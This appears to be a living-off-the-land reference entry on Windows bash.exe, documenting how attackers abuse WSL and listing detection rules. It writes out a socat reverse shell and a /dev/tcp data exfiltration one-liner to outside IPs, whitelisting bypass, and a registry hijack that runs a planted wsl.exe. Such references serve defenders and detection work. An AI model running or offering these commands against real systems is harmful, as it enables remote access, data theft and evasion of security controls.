Bash.exe
File used by Windows subsystem for Linux
Paths
C:\Windows\System32\bash.exeC:\Windows\SysWOW64\bash.exe
Commands
Execute
Executes executable from bash.exe
Use case: Performs execution of specified file, can be used as a defensive evasion.
Privileges: User
bash.exe -c "{CMD}"
Execute
Executes a reverse shell
Use case: Performs execution of specified file, can be used as a defensive evasion.
Privileges: User
bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
Execute
Exfiltrate data
Use case: Performs execution of specified file, can be used as a defensive evasion.
Privileges: User
bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'
AWL Bypass
Executes executable from bash.exe
Use case: Performs execution of specified file, can be used to bypass Application Whitelisting.
Privileges: User
bash.exe -c "{CMD}"
Execute
When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.
Use case: Execute a payload as a child process of `bash.exe` while masquerading as WSL.
Privileges: User
bash.exe
Detection
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
- IOC: Child process from bash.exe